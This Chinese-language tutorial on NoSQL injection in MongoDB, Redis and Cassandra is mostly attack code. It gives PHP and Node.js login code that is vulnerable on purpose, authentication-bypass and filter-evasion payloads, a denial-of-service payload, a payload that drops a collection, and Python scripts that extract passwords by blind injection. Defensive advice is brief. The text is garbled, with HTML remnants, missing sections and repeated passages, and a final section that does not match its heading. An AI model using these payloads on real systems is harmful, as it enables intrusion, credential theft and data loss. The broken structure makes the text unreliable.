NoSQL注入全面详解：从原理到防御<\/h1>

一、NoSQL与MongoDB基础概念<\/h2>

1. NoSQL定义<\/h3>
NoSQL（Not Only SQL）是一种非关系型数据库范式，强调非结构化数据存储，区别于传统RDBMS的严格模式。它适用于大数据、高并发场景，如社交媒体和实时分析。2009年后快速发展，支持水平扩展和最终一致性。<\/p>

2. MongoDB概述<\/h3>

MongoDB是基于C++的分布式文档数据库，数据以BSON（Binary JSON）格式存储，支持嵌套文档和数组。核心优势包括动态模式和内置分片。<\/p>

示例文档：<\/strong><\/p>

{
<\/span><\/span>    "_id"<\/span>: ObjectId(<\/span>"60fa854cf8aaaf4f21049148"<\/span>)<\/span>,
<\/span><\/span>    "name"<\/span>: "whoami"<\/span>,
<\/span><\/span>    "description"<\/span>: "the admin user"<\/span>,
<\/span><\/span>    "age"<\/span>: 19<\/span>,
<\/span><\/span>    "status"<\/span>: "A"<\/span>,
<\/span><\/span>    "groups"<\/span>: ["admins"<\/span>, "users"<\/span>]
<\/span><\/span>}

{"age": {"$ne": 19}}<\/code><\/td>
<\/tr>
<\/tbody>
<\/table>
5. 逻辑查询<\/h3>
AND查询<\/strong>（逗号分隔）<\/p>
db<\/span>.all_users<\/span>.find<\/span>({"status"<\/span>:<\/span> "B"<\/span>, "age"<\/span>:<\/span> 20<\/span>})
<\/span><\/span><\/code><\/pre>OR查询<\/strong>（$or数组）<\/p>
db<\/span>.all_users<\/span>.find<\/span>({
<\/span><\/span>    $or<\/span>:<\/span> [
<\/span><\/span>        {"status"<\/span>:<\/span> "A"<\/span>},
<\/span><\/span>        {"age"<\/span>:<\/span> 19<\/span>}
<\/span><\/span>    ]
<\/span><\/span>})
<\/span><\/span><\/code><\/pre>AND与OR组合<\/strong><\/p>
db<\/span>.all_users<\/span>.find<\/span>({
<\/span><\/span>    "age"<\/span>:<\/span> {"$gt"<\/span>:<\/span> 19<\/span>},
<\/span><\/span>    $or<\/span>:<\/span> [{"name"<\/span>:<\/span> "whoami"<\/span>}, {"status"<\/span>:<\/span> "A"<\/span>}]
<\/span><\/span>})
<\/span><\/span><\/code><\/pre>三、NoSQL注入原理与分类<\/h2>
1. 注入定义<\/h3>
NoSQL注入利用未过滤输入修改查询，与SQL注入不同，它依赖应用层语言（如PHP、Node.js）构建查询，可能影响业务逻辑。常见于认证、搜索场景。<\/p>
2. 注入分类<\/h3>

按语言<\/strong>：PHP数组注入、JavaScript注入、Mongo Shell拼接<\/li>
按机制<\/strong>：

重言式（Tautology）<\/strong>：构造永真条件绕过认证<\/li>
联合查询（Union-Based）<\/strong>：追加数据返回<\/li>
JavaScript注入<\/strong>：通过$where或eval执行代码<\/li>
盲注（Blind）<\/strong>：无回显，利用布尔、时间或错误推断<\/li>
错误基（Error-Based）<\/strong>：利用查询错误泄露信息<\/li>
<\/ul>
<\/li>
<\/ul>
四、PHP中的MongoDB注入<\/h2>
测试环境搭建<\/h3>
测试数据：<\/strong><\/p>
use<\/span> test<\/span>
<\/span><\/span>db<\/span>.createCollection<\/span>('users'<\/span>)
<\/span><\/span>db<\/span>.users<\/span>.insert<\/span>({username<\/span>:<\/span> 'admin'<\/span>, password<\/span>:<\/span> '123456'<\/span>})
<\/span><\/span>db<\/span>.users<\/span>.insert<\/span>({username<\/span>:<\/span> 'whoami'<\/span>, password<\/span>:<\/span> '657260'<\/span>})
<\/span><\/span><\/code><\/pre>易受攻击代码（index.php）：<\/strong><\/p>
$manager =<\/span> new<\/span> MongoDB\Driver\Manager<\/span>("mongodb:\/\/127.0.0.1:27017"<\/span>);
<\/span><\/span>$username =<\/span> $_POST['username'<\/span>];
<\/span><\/span>$password =<\/span> $_POST['password'<\/span>];
<\/span><\/span>
<\/span><\/span>$query =<\/span> new<\/span> MongoDB\Driver\Query<\/span>(array<\/span>(
<\/span><\/span>    'username'<\/span> =><\/span> $username,
<\/span><\/span>    'password'<\/span> =><\/span> $password
<\/span><\/span>));
<\/span><\/span>
<\/span><\/span>$result =<\/span> $manager-><\/span>executeQuery<\/span>('test.users'<\/span>, $query)-><\/span>toArray<\/span>();
<\/span><\/span><\/code><\/pre>注入方式<\/h3>
1. 重言式注入<\/h4>
Payload：<\/strong><\/p>
username[$ne]=1&password[$ne]=1
<\/code><\/pre>
解析后查询：<\/strong><\/p>
db<\/span>.users<\/span>.find<\/span>({'username'<\/span>:<\/span>{$ne<\/span>:<\/span>1<\/span>}, 'password'<\/span>:<\/span>{$ne<\/span>:<\/span>1<\/span>}})
<\/span><\/span><\/code><\/pre>返回所有用户。其他操作符：$gt<\/code>、$gte<\/code>等。<\/p>
2. 联合查询注入<\/h4>
Payload：<\/strong><\/p>
username=admin', $or: [ {}, {'a': 'a'}], $comment: '123456&password=
<\/code><\/pre>
查询：<\/strong><\/p>
{ username<\/span>:<\/span> 'admin'<\/span>, $or<\/span>:<\/span> [ {}, {'a'<\/span>:<\/span>'a'<\/span>}], $comment<\/span>:<\/span> '123456'<\/span> }
<\/span><\/span><\/code><\/pre>忽略密码。注意：现代驱动限制字符串拼接，此为概念演示。<\/p>
3. JavaScript注入<\/h4>
$where操作符注入<\/strong>

易受攻击代码：<\/p>
$function =<\/span> "
<\/span><\/span><\/span>function() { 
<\/span><\/span><\/span>    var username = '"<\/span>.<\/span>$username.<\/span>"';
<\/span><\/span><\/span>    var password = '"<\/span>.<\/span>$password.<\/span>"';
<\/span><\/span><\/span>    if(username == 'admin' && password == '123456'){
<\/span><\/span><\/span>        return true;
<\/span><\/span><\/span>    }else{
<\/span><\/span><\/span>        return false;
<\/span><\/span><\/span>    }
<\/span><\/span><\/span>}"<\/span>;
<\/span><\/span>$query =<\/span> new<\/span> MongoDB\Driver\Query<\/span>(array<\/span>('$where'<\/span> =><\/span> $function));
<\/span><\/span><\/code><\/pre>Payload（MongoDB 2.4前）：<\/strong><\/p>
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
<\/code><\/pre>
获取集合名。<\/p>
Payload（2.4后）：<\/strong><\/p>
username=1&password=1';return true\/\/
<\/code><\/pre>
绕过认证。<\/p>
DOS Payload：<\/strong><\/p>
username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1
<\/code><\/pre>
CPU占用5秒。<\/p>
eval命令注入<\/strong><\/p>
$cmd =<\/span> new<\/span> MongoDB\Driver\Command<\/span>([
<\/span><\/span>    'eval'<\/span> =><\/span> "print('Hello, <\/span>$username<\/span>!');"<\/span>
<\/span><\/span>]);
<\/span><\/span><\/code><\/pre>Payload：<\/strong><\/p>
username=1'});db.users.drop();db.users.find({'username':'1
<\/code><\/pre>
删除集合。<\/p>
五、盲注技术<\/h2>
1. 布尔盲注（Boolean-Based）<\/h3>
利用$regex<\/code>判断真假，无回显时推断数据。<\/p>
提取密码长度：<\/strong><\/p>
username=admin&password[$regex]=.{6}   → 成功（长度6）
username=admin&password[$regex]=.{7}   → 失败
<\/code><\/pre>
逐字符提取：<\/strong><\/p>
username=admin&password[$regex]=^123456
<\/code><\/pre>
Python自动化脚本：<\/strong><\/p>
import<\/span> requests
<\/span><\/span>import<\/span> string
<\/span><\/span>
<\/span><\/span>password =<\/span> ''<\/span>
<\/span><\/span>url =<\/span> 'http:\/\/127.0.0.1\/index.php'<\/span>
<\/span><\/span>
<\/span><\/span>while<\/span> True<\/span>:
<\/span><\/span>    for<\/span> c in<\/span> string.<\/span>printable:
<\/span><\/span>        if<\/span> c not<\/span> in<\/span> ['*'<\/span>, '+'<\/span>, '.'<\/span>, '?'<\/span>, '|'<\/span>, '#'<\/span>, '&'<\/span>, '$'<\/span>]:
<\/span><\/span>            post_payload =<\/span> {
<\/span><\/span>                "username"<\/span>: "admin"<\/span>,
<\/span><\/span>                "password[$regex]"<\/span>: '^'<\/span> +<\/span> password +<\/span> c
<\/span><\/span>            }
<\/span><\/span>            r =<\/span> requests.<\/span>post(url=<\/span>url, data=<\/span>post_payload)
<\/span><\/span>            if<\/span> 'Login Success'<\/span> in<\/span> r.<\/span>text:
<\/span><\/span>                print("[+] <\/span>%s<\/span>"<\/span> %<\/span> (password +<\/span> c))
<\/span><\/span>                password +=<\/span> c
<\/span><\/span>                break<\/span>
<\/span><\/span>    if<\/span> len(password) ==<\/span> 6<\/span>:  # 假设长度<\/span>
<\/span><\/span>        break<\/span>
<\/span><\/span><\/code><\/pre>2. 时间盲注（Time-Based）<\/h3>
当布尔盲注不可用时，利用查询延迟推断。<\/p>
原理：<\/strong> 注入导致查询执行时间异常长（如sleep 5秒），通过响应时间判断条件真假。<\/p>
Payload示例：<\/strong><\/p>
username=admin&password[$where]=sleep(5000)
<\/code><\/pre>
或更精确：<\/p>
password[$where]=function(){sleep(1000); return true;}
<\/code><\/pre>
Python自动化脚本：<\/strong><\/p>
import<\/span> requests
<\/span><\/span>import<\/span> time
<\/span><\/span>
<\/span><\/span>def<\/span> check_char<\/span>(pos, char):
<\/span><\/span>    payload =<\/span> {
<\/span><\/span>        "username"<\/span>: "admin"<\/span>,
<\/span><\/span>        "password"<\/span>: f<\/span>"this.password.charAt(<\/span>{<\/span>pos}<\/span>) == '<\/span>{<\/span>char}<\/span>' ? sleep(3000) : false"<\/span>
<\/span><\/span>    }
<\/span><\/span>    start =<\/span> time.<\/span>time()
<\/span><\/span>    r =<\/span> requests.<\/span>post(url, data=<\/span>payload)
<\/span><\/span>    elapsed =<\/span> time.<\/span>time() -<\/span> start
<\/span><\/span>    return<\/span> elapsed ><\/span> 2<\/span>  # 阈值<\/span>
<\/span><\/span>
<\/span><\/span># 逐位提取<\/span>
<\/span><\/span>password =<\/span> ''<\/span>
<\/span><\/span>for<\/span> pos in<\/span> range(1<\/span>, 7<\/span>):
<\/span><\/span>    for<\/span> char in<\/span> 'abcdefghijklmnopqrstuvwxyz0123456789'<\/span>:
<\/span><\/span>        if<\/span> check_char(pos-<\/span>1<\/span>, char):
<\/span><\/span>            password +=<\/span> char
<\/span><\/span>            break<\/span>
<\/span><\/span><\/code><\/pre>3. 错误基注入（Error-Based）<\/h3>
利用查询错误消息泄露数据库信息，如字段名或数据类型。<\/p>
原理：<\/strong> 注入无效操作符导致MongoDB抛出详细错误，包含敏感数据。<\/p>
Payload示例：<\/strong><\/p>
username[$invalid]=1&password=1
<\/code><\/pre>
错误：Unrecognized field "invalid"<\/code>或泄露集合结构。<\/p>
六、Node.js中的MongoDB注入<\/h2>
环境搭建<\/h3>
使用Mongoose模块。<\/p>
易受攻击代码（server.js）：<\/strong><\/p>
var<\/span> mongoose<\/span> =<\/span> require<\/span>('mongoose'<\/span>);
<\/span><\/span>mongoose<\/span>.connect<\/span>('mongodb:\/\/localhost\/test'<\/span>);
<\/span><\/span>
<\/span><\/span>var<\/span> UserSchema<\/span> =<\/span> new<\/span> mongoose<\/span>.Schema<\/span>({
<\/span><\/span>    name<\/span>:<\/span> String,
<\/span><\/span>    username<\/span>:<\/span> String,
<\/span><\/span>    password<\/span>:<\/span> String
<\/span><\/span>});
<\/span><\/span>var<\/span> User<\/span> =<\/span> mongoose<\/span>.model<\/span>('users'<\/span>, UserSchema<\/span>);
<\/span><\/span>
<\/span><\/span>app<\/span>.post<\/span>('\/'<\/span>, function<\/span>(req<\/span>, res<\/span>) {
<\/span><\/span>    User<\/span>.findOne<\/span>({username<\/span>:<\/span> req<\/span>.body<\/span>.username<\/span>, password<\/span>:<\/span> req<\/span>.body<\/span>.password<\/span>}, function<\/span> (err<\/span>, user<\/span>) {
<\/span><\/span>        if<\/span> (!<\/span>user<\/span>) {
<\/span><\/span>            return<\/span> res<\/span>.render<\/span>('index.jade'<\/span>, {message<\/span>:<\/span> 'Login Failed'<\/span>});
<\/span><\/span>        }
<\/span><\/span>        return<\/span> res<\/span>.render<\/span>('index.jade'<\/span>, {message<\/span>:<\/span> 'Welcome back '<\/span> +<\/span> user<\/span>.name<\/span> +<\/span> '!'<\/span>});
<\/span><\/span>    });
<\/span><\/span>});
<\/span><\/span><\/code><\/pre>重言式注入<\/h3>
Payload：<\/strong><\/p>
{"username"<\/span>:{"$ne"<\/span>:1<\/span>},"password"<\/span>: {"$ne"<\/span>:1<\/span>}}
<\/span><\/span><\/code><\/pre>绕过认证。<\/p>
绕过过滤（Unicode编码）<\/h3>
Payload：<\/strong><\/p>
{"username"<\/span>:{"\u0024\u006e\u0065"<\/span>:1<\/span>},"password"<\/span>: {"\u0024\u006e\u0065"<\/span>:1<\/span>}}
<\/span><\/span><\/code><\/pre>等价$ne<\/code>。<\/p>
高级利用实验<\/h3>
实验步骤：<\/strong><\/p>

提交'<\/code>字符测试过滤<\/li>
提交有效JavaScript payload：wiener'+'<\/code><\/li>
测试真假条件：

假条件：wiener' && '1'=='2<\/code><\/li>
真条件：wiener' && '1'=='1<\/code><\/li>
<\/ul>
<\/li>
推断密码长度：administrator' && this.password.length < 30 || 'a'=='b<\/code><\/li>
使用Intruder爆破具体字符<\/li>
<\/ol>
Mongoose安全更新<\/h3>
Mongoose 8.x（2025标准）通过Schema验证和lean()<\/code>查询增强防护，自动转义$<\/code>前缀键。避免find()<\/code>直接用用户输入；使用query.sanitizeFilter()<\/code>。<\/p>
七、其他NoSQL数据库注入<\/h2>
1. Redis注入<\/h3>
Redis使用字符串命令如GET、SET，注入常见于管道或Lua脚本。<\/p>
漏洞：<\/strong> 未转义输入覆盖键。

Payload：<\/strong> 在搜索中注入SET key "malicious"<\/code>。

示例：<\/strong> Node.js中redis.get(userInput)<\/code>可注入foo|SET hacked "data"<\/code>。

防护：<\/strong> 使用参数化命令。<\/p>
2. Cassandra注入<\/h3>
Cassandra的CQL类似SQL，支持注入如UNION SELECT。<\/p>
漏洞：<\/strong> 动态CQL字符串拼接。

Payload：<\/strong> username=admin' OR '1'='1<\/code>绕过认证。<\/p>

Mongoose安全更新<\/h3> Mongoose 8.x（2025标准）通过Schema验证和lean()<\/code>查询增强防护，自动转义$<\/code>前缀键。避免find()<\/code>直接用用户输入；使用query.sanitizeFilter()<\/code>。<\/p>

九、NoSQL注入工具与2025最新漏洞<\/h2>

1. NoSQL定义<\/h3>
NoSQL（Not Only SQL）是一种非关系型数据库范式，强调非结构化数据存储，区别于传统RDBMS的严格模式。它适用于大数据、高并发场景，如社交媒体和实时分析。2009年后快速发展，支持水平扩展和最终一致性。<\/p>

1. 注入定义<\/h3>
NoSQL注入利用未过滤输入修改查询，与SQL注入不同，它依赖应用层语言（如PHP、Node.js）构建查询，可能影响业务逻辑。常见于认证、搜索场景。<\/p>
